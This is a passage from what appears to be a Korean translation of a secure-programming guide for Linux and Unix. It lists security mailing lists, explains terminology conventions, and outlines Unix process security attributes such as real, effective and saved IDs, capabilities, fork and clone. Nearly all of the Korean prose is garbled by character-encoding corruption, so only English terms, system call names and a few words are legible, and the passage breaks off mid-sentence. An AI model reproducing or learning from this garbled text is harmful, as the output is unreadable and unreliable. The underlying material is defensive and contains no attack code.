    • ``bugtraq" ¸ÞÀϸµ ¸®½ºÆ®´Â ÄÄÇ»ÅÍ º¸¾È Ãë¾à¼ºÀÇ ¼¼ºÎÀûÀÎ ³íÀÇ ¹× °øÇ¥¸¦ À§ÇÑ ¿ÏÀüÇÑ Æø·Î¿¡ ¾Ë¸Â´Â ¸ÞÀϸµ ¸®½ºÆ®ÀÌ´Ù: Ãë¾à¼ºµéÀº ¹«¾ùÀÌ¸ç ±×µéÀ» ¾î¶»°Ô ¾Ç¿ëÇÏ¸ç ±×¸®°í ±×µéÀ» ¾î¶»°Ô ¼öÁ¤Çϴ°¡.

    • ``secprog" ¸ÞÀϸµ ¸®½ºÆ®´Â º¸¾ÈÀûÀÎ ¼ÒÇÁÆ®¿þ¾î °³¹ß ¹æ¹ý·Ð°ú ±â¹ýÀÇ ³íÀÇ¿¡ ¾Ë¸Â´Â ¸ÞÀϸµ ¸®½ºÆ®ÀÌ´Ù. ÀúÀڴ ƯÈ÷ ÀÌ ¸®½ºÆ®¸¦ Á¶»çÇϸç SECPROG (ÀúÀÚ°¡ ±×µé¿¡ ÀÏÄ¡Çϸé) ¿¡ µµ´ÞÇÑ ÇØ°á ¹æ¾ÈÀÌ ÀÌ ¹®¼­¿¡ º´ÇյǾú´ÂÁö¸¦ º¸ÁõÇϱâ À§ÇØ ÁßÀçÀÚ¿Í ÇùÀÇÇÑ´Ù.

    • ``vuln-dev" ¸ÞÀϸµ ¸®½ºÅ©´Â ÀáÀçÀûÀÎ ¶Ç´Â ¹Ì°³¹ßµÈ º¸¾È ±¸¸ÛµéÀ» ³íÀÇÇÑ´Ù.

  • IBM ÀÇ ``developerWorks: Security" ´Â ¸¹Àº Àç¹ÌÀÖ´Â ±â»çµéÀ» °®°í Àִµ¥ http://www.ibm.com/developer/security ¿¡¼­ ´õ¿í ¸¹Àº °ÍÀ» ¹è¿ï ¼ö ÀÖ´Ù.

  • ¸®´ª½º °íÀ¯ÀÇ º¸¾È Á¤º¸ÀÇ °æ¿ì ÈǸ¢ÇÑ Ãâó´Â LinuxSecurity.com ÀÌ´Ù. ¸®´ª½º ÄÚµå °¨»ç¿¡ °ü½ÉÀÌ ÀÖ´Ù¸é »ìÆì º¼ °÷À¸·Î´Â Linux Security-Audit Project FAQ À̸ç Linux Kernel Auditing Project ´Â º¸¾È ÀïÁ¡µé¿¡ ´ëÇØ ¸®´ª½º Äڵ带 °¨»çÇϴµ¥ Àü³äÇϰí ÀÖ´Ù.

¹°·Ð ƯÁ¤ ½Ã½ºÅÛÀ» ¾ÈÀüÇÏ°Ô ÇÏ·Á¸é ±×µéÀÇ º¸¾È ¸ÞÀϸµ ¸®½ºÆ®¿¡ ¼­¸í (¸¶ÀÌÅ©·Î¼ÒÇÁÆ®, ·¹µåÇÞ µî) ÇØ¾ß ÇÏ¸ç ±× ÈÄ ¸ðµç º¸¾È °»½ÅµéÀ» ÅëÁö¹ÞÀ» ¼ö ÀÖ´Ù.


2.10. ¹®¼­ °üÇà

½Ã½ºÅÛ ¸Þ´º¾ó ÆäÀÌÁöµéÀº name(number) ·Î ÂüÁ¶µÇ´Âµ¥ number ´Â ¸Þ´º¾óÀÇ Àý ¼ýÀÚÀÌ´Ù. ``´Ù¸¥ ¾î´À °÷µµ °¡¸®Å°Áö ¾ÊÀ½"À» ÀǹÌÇÏ´Â Æ÷ÀÎÅÍ °ªÀº NULL ·Î ºÎ¸¥´Ù; C ÄÄÆÄÀÏ·¯µéÀº Á¤¼ö 0 À» Æ÷ÀÎÅͰ¡ ÇÊ¿äÇÑ ´ëºÎºÐÀÇ °æ¿ì NULL °ªÀ¸·Î º¯È¯ÇÒ °ÍÀÌ´Ù. ±×·¯³ª C Ç¥ÁØÀÇ ¾î¶² °Íµµ NULL ÀÌ ÀÏ·ÃÀÇ ¸ðµÎ°¡ 0 ÀÎ ºñÆ®¿¡ ÀÇÇØ ±¸ÇöµÇ¾î¾ß ÇÔÀ» ¿ä±¸ÇÏÁö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó. C ¿Í C++ Àº '\0' (¾Æ½ºÅ° 0) À» Ưº°È÷ Ãë±ÞÇϴµ¥ ÀÌ Ã¥¿¡¼­ ÀÌ °ªÀº NIL (º¸Åë ``NUL" ·Î ºÎ¸£Áö¸¸ ``NUL" °ú ``NULL" Àº µ¿ÀÏÇØ º¸ÀδÙ) ·Î °£ÁֵȴÙ. ÇÔ¼ö¿Í ¸Þ½îµå À̸§µéÀº ´Ã Á¤È®ÇÏ°Ô ´ë¼Ò¹®ÀÚ¸¦ ±¸º°ÇØ¾ß Çϴµ¥ À̰ÍÀÌ ¾î¶² ¹®ÀåµéÀÌ ¼Ò¹®ÀÚ·Î ½ÃÀÛÇØ¾ß ÇÔÀ» ÀǹÌÇØµµ ¸¶Âù°¡ÁöÀÌ´Ù. ÀúÀÚ´Â À¯´Ð½º, ¸®´ª½º ¶Ç´Â ±âº» ¸ðµ¨µéÀÌ À¯´Ð½º¿Í ¸Å¿ì À¯»çÇÑ ´Ù¸¥ ½Ã½ºÅÛµéÀ» ÀǹÌÇϱâ À§ÇØ ``À¯´Ð½º °è¿­ (Unix-like)" À̶ó´Â ¿ë¾î¸¦ »ç¿ëÇÑ´Ù; ÀúÀÚ´Â POSIX ÀÇ ÀϺκÐÀ» ±¸ÇöÇϰí ÀÖÁö¸¸ ¸Å¿ì ´Ù¸¥ º¸¾È ¸ðµ¨À» °®´Â À©µµ¿ì 2000 °ú °°Àº ½Ã½ºÅÛµéÀÌ Àֱ⠶§¹®¿¡ POSIX ¸¦ ¸»ÇÒ ¼ö´Â ¾ø´Ù.

°ø°ÝÀÚ´Â ``attacker", ``cracker" ¶Ç´Â ``adversary" ·Î ºÎ¸¥´Ù. ¾î¶² Àú³Î¸®½ºÆ®µéÀº ``attacker" ´ë½Å ``ÇØÄ¿ (hacker)" ¸¦ »ç¿ëÇϴµ¥ ¸¹Àº ¸®´ª½º¿Í À¯´Ð½º °³¹ßÀÚµéÀÌ ÀüÅëÀûÀ¸·Î ¾ÇÇÏÁö ¾ÊÀº Àǹ̷Π±×µé ÀÚ½ÅÀ» ``ÇØÄ¿"¶ó°í Çϱ⠶§¹®¿¡ ÀÌ Ã¥¿¡¼­´Â ÀÌ·¯ÇÑ (¿À)»ç¿ëÀ» ÇÇÇÑ´Ù. Áï, ¸¹Àº ¸®´ª½º¿Í À¯´Ð½º °³¹ßÀڵ鿡°Ô ``ÇØÄ¿"¶ó´Â ¿ë¾î´Â ƯÈ÷ ÄÄÇ»ÅÍ¿Í °ü·ÃÇÏ¿© °è¼ÓÇØ¼­ ´Ü¼øÈ÷ Àü¹®°¡ ¶Ç´Â ¿­±¤ÆÒÀ» ÀǹÌÇÑ´Ù.


3장. ¸®´ª½º ¹× À¯´Ð½º º¸¾È Ư¡µéÀÇ ¿ä¾à

 

Discretion will protect you, and understanding will guard you.

 Proverbs 2:11 (NIV)

¸®´ª½º ¶Ç´Â À¯´Ð½º º¸¾È Ư¡µéÀÇ »ç¿ë ¹æ¹ý¿¡ ´ëÇÑ ÁöħÀ» ³íÀÇÇϱâ Àü¿¡ ÇÁ·Î±×·¡¸ÓÀÇ °üÁ¡¿¡¼­ º¸¾ÒÀ» ¶§ ±×·¯ÇÑ Æ¯Â¡µéÀÌ ¹«¾ùÀΰ¡¸¦ ¾Æ´Â °ÍÀº À¯¿ëÇÏ´Ù. ÀÌ Àý¿¡¼­´Â °ÅÀÇ ¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ ³Î¸® »ç¿ëÇÒ ¼ö ÀÖ´Â ÀÌ·¯ÇÑ Æ¯Â¡µéÀ» °£·«È÷ ±â¼úÇÑ´Ù. ±×·¯³ª À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÇ ¿©·¯ ¹öÀü°£¿¡´Â »ó´çÇÑ º¯µ¿ÀÌ ÀÖÀ¸¸ç ¸ðµç ½Ã½ºÅÛÀÌ ¿©±â¼­ ±â¼úÇÑ ´É·ÂÀ» °®Áö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó. ÀÌ ÀåÀº ¶ÇÇÑ ¸®´ª½º¿¡ ´ëÇÑ ¾à°£ÀÇ È®Àåµé ¶Ç´Â ¸®´ª½º °íÀ¯ÀÇ Æ¯Â¡µéÀ» ƯÈ÷ ¾ð±ÞÇÑ´Ù; ¸®´ª½º ¹èÆ÷ÆÇµéÀº ¸ðµÎ º»ÁúÀûÀ¸·Î µ¿ÀÏÇÑ Ä¿³Î ¹× C ¶óÀ̺귯¸® (GPL ¿¡ ±âÃÊÇÑ ¶óÀ̼¾½ºµéÀº »õ·Ó°Ô º¯°æµÈ ¾î¶°ÇÑ »çÇ׵鵵 ºü¸£°Ô º¸±ÞµÉ ¼ö ÀÖµµ·Ï Àå·ÁÇÑ´Ù) ¸¦ »ç¿ëÇϱ⠶§¹®¿¡ º¸¾È¿¡ ´ëÇØ ÇÁ·Î±×·¡¹Ö °üÁ¡¿¡¼­ º¸¾ÒÀ» ¶§ °¢°¢Àº »ó´çÈ÷ À¯»çÇÑ °æÇâÀÌ ÀÖ´Ù. ¶ÇÇÑ ¿©·¯°¡Áö À¯´Ð½º ±¸Çö»çÀÌ¿¡´Â º¸¾È°ú °ü·ÃÇØ¼­ ¾à°£ÀÇ Â÷À̸¦ ¾ð±ÞÇÏÁö¸¸ À̰ÍÀÌ ¿ÏÀüÇÑ ¸ñ·ÏÀÌ ¾Æ´ÔÀ» ÁÖ¸ñÇϱ⠹ٶõ´Ù. ÀÌ Àå¿¡¼­´Â ¸¹Àº À¯´Ð½º °è¿­ ½Ã½ºÅÛµéÀÌ ±¸ÇöÇÏÁö ¾ÊÀº MAC (Mandatory Access Control) °°Àº ÀïÁ¡µéÀº ³íÀÇÇÏÁö ¾Ê´Â´Ù. ÀÌ·¯ÇÑ Æ¯Â¡µéÀÌ ¹«¾ùÀÎÁö ¾Ë°í ÀÖ´Ù¸é ÀÌ ÀýÀ» °Ç³Ê¶Ù¾î Àо ¹«¹æÇÏ´Ù.

¸¹Àº ÇÁ·Î±×·¡¹Ö ÁöħµéÀº ¸®´ª½º ¶Ç´Â À¯´Ð½ºÀÇ º¸¾È °ü·Ã ºÎºÐÀ» °£·«ÇÏ°Ô ´ëÃæ ´Ù·ç¸ç Áß¿äÇÑ Á¤º¸¸¦ °Ç³Ê¶Ù´Âµ¥ ƯÈ÷ ÀÌ·¯ÇÑ ÁöħµéÀº ´ë°³ ÀϹÝÀûÀÎ ¸»Åõ·Î ``»ç¿ë ¹æ¹ý"À» ³íÀÇÇÏ¸ç »ç¿ë¿¡ ¿µÇâÀ» ¹ÌÄ¡´Â º¸¾È ¼Ó¼º¿¡ °üÇØ¼­´Â ¾ó¹ö¹«¸°´Ù. À̿ʹ ¹Ý´ë·Î ¸Þ´º¾ó ÆäÀÌÁö¿¡´Â °³º°ÀûÀÎ ±â´É¿¡ ´ëÇÑ »ó´çÇÑ ¾çÀÇ ¼¼ºÎ Á¤º¸°¡ ÀÖÁö¸¸ °¢°¢ÀÇ °³º°Àû ±â´ÉÀÇ »ç¿ë ¹æ¹ý¿¡ °üÇÑ ¼¼ºÎ ³íÀÇ·Î ÀÎÇØ ¶§¶§·Î ÁÖ¿äÇÑ º¸¾È ÀïÁ¡µéÀ» ÀÌÇØÇÏ±â ¾î·Æ°Ô ÇÑ´Ù. ÀÌ ÀýÀº ÇÁ·Î±×·¡¸Ó°¡ »ç¿ëÇÒ °Í°°Àº ¸®´ª½º º¸¾È ¸ÞÄ«´ÏÁòÀ» °³·«ÀûÀ¸·Î ±×·¯³ª º¸¾È °ü·Ã ¹®Á¦¿¡ ƯÈ÷ ÁßÁ¡À» µÎ¾î ±â¼úÇÔÀ¸·Î½á ÀÌ·¯ÇÑ °£°ÝÀ» Á¼È÷°íÀÚ ÇÑ´Ù. ÀÌ ÀýÀº ¸íÈ®ÇÏ°Ô º¸¾È °ü·Ã ¹®Á¦¿¡ ÁßÁ¡À» µÒÀ¸·Î½á ÀϹÝÀûÀÎ ÇÁ·Î±×·¡¹Ö Áöħº¸´Ù º¸´Ù ±íÀ̸¦ °®À¸¸ç ´õ¿í ¼¼ºÎÀûÀÎ °ÍÀ» ¾òÀ» ¼ö ÀÖ´Â Âü°í¹®ÇåµéÀ» ÁöÀûÇÑ´Ù.

¿ì¼± ±âº». ¸®´ª½º¿Í À¯´Ð½º´Â ±Ùº»ÀûÀ¸·Î Ä¿³Î°ú ``»ç¿ëÀÚ °ø°£ (user space)" µÎ ºÎºÐÀ¸·Î ³ª´©¾î Áö´Âµ¥ ´ëºÎºÐÀÇ ÇÁ·Î±×·¥µéÀº Ä¿³Î À­ ºÎºÐÀÇ »ç¿ëÀÚ °ø°£¿¡¼­ ½ÇÇàµÈ´Ù. ¸®´ª½º´Â ``Ä¿³Î ¸ðµâ"ÀÇ °³³äÀ» Áö¿øÇϴµ¥ ÀÌ´Â ´Ü¼øÈ÷ Ä¿³Î¿¡ µ¿ÀûÀ¸·Î Äڵ带 ÀûÀçÇÒ ¼ö ÀÖ´Â ´É·ÂÀ¸·Î ¸®´ª½º°¡ ¾ÆÁ÷µµ ÀÌ ±Ùº»ÀûÀÎ ºÐ¸®¸¦ Áö´ÔÀ» ÁÖ¸ñÇØ¶ó. HURD ¿Í °°Àº ´Ù¸¥ ½Ã½ºÅÛµéÀº ``¸¶ÀÌÅ©·Î Ä¿³Î"¿¡ ±âÃÊÇϴµ¥ À̵éÀº ´õ¿í Á¦ÇÑµÈ ±â´É¼ºÀ» °®´Â ÀÛÀº Ä¿³Î°ú Ä¿³Î¿¡ ÀÇÇØ ÀüÅëÀûÀ¸·Î ÇÏÀ§ ¼öÁØ ±â´ÉµéÀ» ±¸ÇöÇÏ´Â ÀÏ·ÃÀÇ »ç¿ëÀÚ ÇÁ·Î±×·¥À¸·Î ÀÌ·ç¾îÁø´Ù.

¾î¶² À¯´Ð½º °è¿­ ½Ã½ºÅÛµéÀº °­·ÂÇÑ º¸¾È, ƯÈ÷ Mandatory Acces Control (B1 ¼öÁØ ¶Ç´Â ±× ÀÌ»ó) ¿¡ ´ëÇÑ ¹Ì±¹ÀÇ ±¹¹æ¼º ¿ä°ÇÀ» Áö¿øÇϱâ À§ÇØ ±¤¹üÀ§ÇÏ°Ô ³Î¸® ¼öÁ¤µÇ¾î ¿Ô´Ù. ÀÌ Ã¥ÀÇ ÇöÀç ¹öÀüÀº ÀÌ·¯ÇÑ ½Ã½ºÅÛ ¶Ç´Â ÀïÁ¡µéÀ» ´Ù·çÁö´Â ¾Ê´Â´Ù. ¹°·Ð ÇâÈÄ ¹öÀü¿¡¼­´Â À̸¦ ´Ù·ê ¼ö ÀÖÀ» °ÍÀÌ´Ù. À̵éÁß ÀϺο¡ ´ëÇÑ º¸´Ù ¼¼ºÎÀûÀÎ Á¤º¸´Â ´Ù¸¥ °÷¿¡¼­ ¾òÀ» ¼ö Àִµ¥ ¿¹¸¦ µé¾î SGI ÀÇ "Trusted IRIX/B" ¿¡ ´ëÇÑ Ç׸ñµéÀº NSA ÀÇ Final Evaluation Reports (FERs) ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

»ç¿ëÀÚ°¡ ·Î±×ÀÎÇÒ ¶§ »ç¿ëÀÚ À̸§Àº »ç¿ëÀÚ ¾ÆÀ̵ð ``UID" ¿Í ±×·ì (»ç¿ëÀÚ°¡ ¸â¹ö) ¾ÆÀ̵ð ``GID" ¸¦ ³ªÅ¸³»´Â Á¤¼ö·Î »ç»óµÇ´Âµ¥ UID °¡ 0 ÀÎ »ç¿ëÀڴ Ưº°ÇÑ ±ÇÇÑÀ» °®´Â »ç¿ëÀÚ·Î ÀϹÝÀûÀ¸·Î ``·çÆ®" ¶ó°í ºÒ¸°´Ù; ´ëºÎºÐÀÇ À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ ·çÆ®´Â ´ëºÎºÐÀÇ º¸¾È °Ë»ç¸¦ Á¿ìÇÒ ¼ö ÀÖ°í ½Ã½ºÅÛÀ» °ü¸®Çϴµ¥ »ç¿ëµÈ´Ù. ¸î¸î À¯´Ð½º ½Ã½ºÅÛ¿¡ GID 0 Àº Ưº°ÇÏ¸ç ±×·ì ¼öÁØ¿¡¼­ ÀÚ¿ø¿¡ ´ëÇØ Á¦ÇѵÇÁö ¾ÊÀº Á¢±ÙÀ» Çã¿ëÇÑ´Ù [Gay 2000, 228]; ÀÌ´Â ¸®´ª½º¿Í °°Àº ´Ù¸¥ ½Ã½ºÅÛ¿¡¼­´Â µé¾î¸ÂÁö ¾ÊÀ¸¸ç ±×·¯³ª ÀÌ·¯ÇÑ ½Ã½ºÅÛ¿¡¼­ group 0 Àº ¸¹Àº Ưº°ÇÑ ½Ã½ºÅÛ ÆÄÀÏÀ» ¼ÒÀ¯Çϱ⠶§¹®¿¡ ¸¸´ÉÀÌ´Ù. º¸¾È °üÁ¡¿¡¼­´Â ÇÁ·Î¼¼½º¸¸ÀÌ ``ÁÖü"Àε¥ Áï ´ÜÁö ÇÁ·Î¼¼½º¸¸ÀÌ È°¼º °´Ã¼ÀÌ´Ù. ÇÁ·Î¼¼½º´Â ´Ù¾çÇÑ µ¥ÀÌŸ °´Ã¼, ƯÈ÷ ÆÄÀϽýºÅÛ °´Ã¼ (FileSystem Object, FSO), System V ÇÁ·Î¼¼½º°£ Åë½Å (Interprocess Communication, IPC) °´Ã¼ ¹× ³×Æ®¿öÅ© Æ÷Æ®¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Ù. ¶ÇÇÑ ÇÁ·Î¼¼½º´Â ½Ã±×³ÎÀ» ¼³Á¤ÇÒ ¼ö ÀÖ´Ù. ´Ù¸¥ º¸¾È °ü·Ã ÁÖÁ¦´Â ÄõÅÍ (quota) ¹× Çѵµ (limits), ¶óÀ̺귯¸®, °¨»ç¿Í PAM À» Æ÷ÇÔÇϴµ¥ ÀÌ´Â ´ÙÀ½ ¸î°³ÀÇ ÇϺΠÀý¿¡¼­ ¼¼ºÎÀûÀ¸·Î ³íÀǵȴÙ.


3.1. ÇÁ·Î¼¼½º

À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ »ç¿ëÀÚ´Â ÇÁ·Î¼¼½º¸¦ ½ÇÇà½ÃÅ´À¸·Î½á ÀÛ¾÷À» ÇÑ´Ù. ´ëºÎºÐÀÇ À¯´Ð½º ½Ã½ºÅÛÀº º°°³ÀÇ °³³äÀ¸·Î¼­ ``¾²·¹µå"¸¦ Áö¿øÇϴµ¥ ¾²·¹µå´Â ÇÁ·Î¼¼½º³»¿¡¼­ ¸Þ¸ð¸®¸¦ °øÀ¯ÇÏ¸ç ½Ã½ºÅÛ ½ºÄÉÁì·¯°¡ ½ÇÁ¦·Î À̸¦ ½ºÄÉÁìÇÑ´Ù. ¸®´ª½º¿¡¼­´Â À̸¦ ´Ù¸£°Ô ´Ù·ç´Âµ¥ (ÇÊÀÚ ÀǰßÀ¸·Î´Â ´õ¿í ³ªÀº Á¢±Ù ¹æ¹ýÀ» »ç¿ëÇÑ´Ù) ¾²·¹µå¿Í ÇÁ·Î¼¼½º»çÀÌ¿¡ º»ÁúÀûÀÎ Â÷ÀÌ´Â ¾ø´Ù. ¸®´ª½º¿¡¼­´Â ´ë½Å ÇÁ·Î¼¼½º°¡ ´Ù¸¥ ÇÁ·Î¼¼½º¸¦ »ý¼ºÇÒ ¶§ ¾î¶° ÀÚ¿ø (¿¹¸¦ µé¸é ¸Þ¸ð¸®) ÀÌ °øÀ¯µÉ Áö¸¦ ¼±ÅÃÇÒ ¼ö ÀÖ´Ù. °ðÀ̾î Ä¿³ÎÀº ¾²·¹µå ¼öÁØÀÇ ¼Óµµ¸¦ ¾ò±â À§ÇØ ÃÖÀûÈ­¸¦ ¼öÇàÇϴµ¥ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â clone(2) ¸¦ º¸¶ó. ¸®´ª½º Ä¿³Î °³¹ßÀÚµéÀº ``¾²·¹µå" ¶Ç´Â ``ÇÁ·Î¼¼½º"¶ó±â º¸´Ù´Â ``ŽºÅ©"¸¦ »ç¿ëÇÏ´Â ¹Ý¸é Çü½ÄÀûÀÎ ¹®¼­¿¡¼­´Â ÇÁ·Î¼¼½º¸¦ »ç¿ëÇÏ´Â °æÇâÀÌ ÀÖÀ½À» ¾ð±ÞÇÏ´Â °ÍÀº °¡Ä¡°¡ ÀÖ´Ù (µû¶ó¼­ ÀúÀÚ´Â ``ÇÁ·Î¼¼½º"¶õ ¿ë¾î¸¦ »ç¿ëÇÒ °ÍÀÌ´Ù). ´ÙÁß ¾²·¹µå ¾ÖÇø®ÄÉÀ̼ÇÀ» ÇÁ·Î±×·¡¹ÖÇÒ¶§´Â º¸Åë ÀÌ·¯ÇÑ Â÷ÀÌÁ¡À» µå·¯³»Áö ¾Ê´Â Ç¥ÁØ ¾²·¹µå ¶óÀ̺귯¸®Áß Çϳª¸¦ »ç¿ëÇÏ´Â °ÍÀÌ ´õ¿í ÁÁ´Ù. ÀÌ´Â ´ë°³ ¾²·¹µåÀÇ À̽ļºÀ» ´õ¿í ³ôÀÌÁö¸¸ ´Üµ¶ ¿î¿µ üÁ¦ ¾²·¹µå·Î ÇÑ ¾ÖÇø®ÄÉÀÌ¼Ç ¼öÁØ ÀÌ»óÀÇ ¾²·¹µå¸¦ ±¸ÇöÇÔÀ¸·Î½á ¾î¶² ¶óÀ̺귯¸®´Â Ãß°¡ÀûÀÎ °£Á¢ (indirection) ¼öÁØÀ» Á¦°øÇÑ´Ù; ÀÌ´Â ¾î¶² ¾ÖÇø®ÄÉÀ̼ǿ¡ ´ëÇØ ¸î¸î ½Ã½ºÅÛ¿¡¼­ »ó´çÈ÷ Çâ»óµÈ ¼º´ÉÀ» Á¦°øÇÒ ¼ö ÀÖ´Ù.


3.1.1. ÇÁ·Î¼¼½º ¼Ó¼º

À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ °¢ ÇÁ·Î¼¼½º¿Í °ü·ÃµÈ ´ëÇ¥ÀûÀÎ ¼Ó¼ºÀº ´ÙÀ½°ú °°´Ù:

  • RUID, RGID - ÇÁ·Î¼¼½º¸¦ ½ÇÇà½ÃŰ´Â »ç¿ëÀÚÀÇ ½ÇÁ¦ UID ¿Í GID

  • EUID, EGID - Ư±Ç °Ë»ç¿¡ »ç¿ëµÇ´Â À¯È¿ UID ¿Í GID (ÆÄÀϽýºÅÛ Á¦¿Ü)

  • SUID, SGID - Çã°¡ Àüȯ ``on °ú off "À» Áö¿øÇϱâ À§ÇØ »ç¿ëµÇ´Â À¯º¸µÈ (saved) UID ¿Í GID (¹ØºÎºÐ¿¡¼­ ³íÀÇ). ¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÌ À̸¦ Áö¿øÇÏÁö´Â ¾ÊÁö¸¸ ¸®´ª½º ¹× ½ò¶ó¸®½º¸¦ Æ÷ÇÔÇÑ ´ë´Ù¼ö´Â À̸¦ Áö¿øÇÑ´Ù; ÁÖ¾îÁø ½Ã½ºÅÛÀÌ POSIX Ç¥ÁØ¿¡¼­ ÀÌ ¿É¼ÇÀ» ±¸ÇöÇÏ´ÂÁö °Ë»çÇÏ·Á¸é _POSIX_SAVED_IDS °¡ À¯È¿ÇÑÁö °áÁ¤Çϱâ À§ÇØ sysconf(2) ¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù.

  • º¸Ãæ ±×·ìµé (supplemental groups) - ÀÌ »ç¿ëÀÚ°¡ ¸â¹ö·Î ¼Ò¼ÓµÇ´Â ±×·ìµéÀÇ ¸ñ·Ï. ¿ø·¡ ¹öÀüÀÎ À¯´Ð½º 7 ¿¡¼­´Â Á¸ÀçÇÏÁö ¾Ê´Â´Ù - ÇÁ·Î¼¼½º´Â ´ÜÁö Çѹø¿¡ ÇÑ ±×·ìÀÇ ¸â¹ö¿´°í ±×·ìÀ» º¯°æ½Ã۱â À§Çؼ­ Ưº°ÇÑ ¸í·ÉÀ» ½ÇÇà½ÃÄÑ¾ß Çß´Ù. BSD ´Â ´õ¿í À¯¿¬ÇÏ°Ô °¢ ÇÁ·Î¼¼½º³»¿¡ ±×·ì ¸®½ºÆ®¿¡ ´ëÇÑ Áö¿øÀ» Ãß°¡ÇßÀ¸¸ç ÀÌ´Â ÇöÀç ¸®´ª½º ¹× ½ò¶ó¸®½º¸¦ Æ÷ÇÔÇØ ³Î¸® ±¸ÇöµÇ°í ÀÖ´Ù.

  • umask - »õ·Î¿î ÆÄÀϽýºÅÛ °´Ã¼°¡ »ý¼ºµÉ ¶§ µðÆúÆ® Á¢±Ù Á¦¾î ¼³Á¤À» °áÁ¤ÇÏ´Â ÀÏ·ÃÀÇ ºñÆ®µé; umask(2) ¸¦ º¸¶ó.

  • ½ºÄÉÁ층 ¸Å°³º¯¼ö (scheduling parameters) - °¢ ÇÁ·Î¼¼½º´Â ½ºÄÉÁ층 Á¤Ã¥À» °®´Âµ¥ µðÆúÆ® Á¤Ã¥ SCHED_OTHER À» °®´Â ÇÁ·Î¼¼½ºµéÀº ºÎ°¡ÀûÀÎ ¸Å°³º¯¼öÀÎ nice, priority ¹× counter ¸¦ °®´Â´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â sched_setscheduler(2) ¸¦ º¸¶ó.

  • Çѵµ (limits) - ÇÁ·Î¼¼½º´ç ÀÚ¿ø Çѵµ (¹ØºÎºÐ ÂüÁ¶)

  • ÆÄÀϽýºÅÛ ·çÆ® (filesystem root) - ·çÆ® ÆÄÀϽýºÅÛ ("/") ÀÌ ¾îµð¼­ ½ÃÀÛÇÏ´Â °¡¿¡ ´ëÇÑ ÇÁ·Î¼¼½ºÀÇ ÀÎ½Ä (idea); chroot(2) ¸¦ º¸¶ó.

´ÙÀ½Àº ÇÁ·Î¼¼½º¿Í °ü·ÃÇØ ´ú °øÅëµÈ ¼Ó¼ºµéÀÌ´Ù:

  • FSUID, FSGID - ÆÄÀϽýºÅÛ Á¢±Ù °Ë»ç¸¦ À§ÇØ »ç¿ëµÇ´Â UID ¿Í GID ·Î °¢°¢ EUID ¿Í EGID ¿Í µ¿ÀÏÇÏ´Ù. ÀÌ´Â ¸®´ª½º °íÀ¯ÀÇ ¼Ó¼ºÀÌ´Ù.

  • ´É·Â (capabilities) - POSIX ´É·Â Á¤º¸; ÇÁ·Î¼¼½º´Â À¯È¿ÇÑ, »ó¼Ó°¡´ÉÇÑ ¹× Çã°¡µÈ ¼¼°¡Áö ´É·ÂÀ» °®´Âµ¥ POSIX ´É·Â¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â ¹ØºÎºÐÀ» º¸¶ó. ¸®´ª½º Ä¿³Î 2.2 ¿Í ±× ÀÌ»ó ¹öÀü¿¡¼­´Â À̸¦ Áö¿øÇÑ´Ù; ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛµµ À̸¦ Áö¿øÇϴµ¥ ¸®´ª½º¸¸Å­ ³Î¸® »ç¿ëµÇÁö´Â ¾Ê´Â´Ù.

¸®´ª½º¿¡¼­ ½ÇÁ¦·Î °¢ ÇÁ·Î¼¼½º¿¡ ¾î¶² ¼Ó¼ºµéÀÌ °ü·ÃµÇ¾ú´Â Áö¸¦ Á¤È®È÷ ¾Ë Çʿ䰡 ÀÖ´Ù¸é ¸®´ª½º ¼Ò½º Äڵ尡 °¡Àå ¸íÈ®ÇÑ ¼Ò½ºÀÌ´Ù. ƯÈ÷ /usr/include/linux/sched.h ÆÄÀÏ¿¡¼­ task_struct ÀÇ Á¤ÀǸ¦ ÂüÁ¶Çضó.

»õ·Î¿î ÇÁ·Î¼¼½º¸¦ »ý¼ºÇÏ´Â À̽ļºÀÖ´Â ¹æ½ÄÀ¸·Î ¸®´ª½º´Â fork(2) È£ÃâÀ» »ç¿ëÇÑ´Ù. BSD ´Â ÃÖÀûÈ­ ±â¹ýÀ¸·Î º¯ÇüµÈ vfork(2) ¸¦ µµÀÔÇÏ¿´´Ù. vfork °ú °ü·ÃµÈ ÃÖÁ¾ °á°ú´Â °£´ÜÇѵ¥ À̸¦ ÇÇÇÒ ¼ö ÀÖ´Ù¸é »ç¿ëÇÏÁö ¸¶¶ó. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 7.5절 ¸¦ ÂüÁ¶Çضó.

¸®´ª½º´Â °íÀ¯ÀÇ clone(2) È£ÃâÀ» Áö¿øÇϴµ¥ fork(2) È£Ãâ°ú À¯»çÇÏ°Ô ÀÛµ¿ÇÏÁö¸¸ °øÀ¯µÇ¾î¾ß ÇÏ´Â ÀÚ¿ø (¿¹, ¸Þ¸ð¸®, ÆÄÀϱâ¼úÀÚ µî) À» ÁöÁ¤ÇÒ ¼ö ÀÖ´Ù. ¿©·¯ °¡Áö BSD ½Ã½ºÅÛµéÀº ¿ø·¡ Plan9 ¿¡¼­ °³¹ßµÈ rfork() ½Ã½ºÅÛ È£ÃâÀ» ±¸ÇöÇϴµ¥ µ¿ÀÏÇÑ ÀϹÝÀû °³³äÀ» °®°í ÀÖÁö¸¸ »óÀÌÇÑ ÀÇ¹Ì Ã¼°è (semantics) ¸¦ °®°í ÀÖ´Ù (ÀÌ´Â °øÀ¯µÇ´Â °Í¿¡ ´ëÇØ º¸´Ù ¾ö°ÝÇÑ Á¦¾î¸¦ °®´Â ÇÁ·Î¼¼½º¸¦ »ý¼ºÇÑ´Ù). À̽ļºÀÖ´Â ÇÁ·Î±×·¥À̶ó¸é °¡´ÉÇÑ ÀÌ·¯ÇÑ È£ÃâÀ» Á÷Á¢ÀûÀ¸·Î »ç¿ëÇÏÁö 